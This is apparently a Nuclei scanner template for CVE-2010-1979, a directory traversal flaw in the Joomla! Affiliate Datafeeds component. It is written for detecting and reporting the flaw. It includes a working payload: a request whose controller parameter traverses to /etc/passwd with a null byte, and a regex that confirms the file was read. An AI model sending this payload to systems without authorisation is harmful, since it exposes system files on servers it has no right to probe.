id: CVE-2010-1979 info: name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12088 - https://nvd.nist.gov/vuln/detail/CVE-2010-1979 - http://www.exploit-db.com/exploits/12088 - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2010-1979 cwe-id: CWE-22 epss-score: 0.00826 epss-percentile: 0.80001 cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:* metadata: max-request: 1 vendor: affiliatefeeds product: com_datafeeds tags: edb,cve,cve2010,joomla,lfi http: - method: GET path: - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200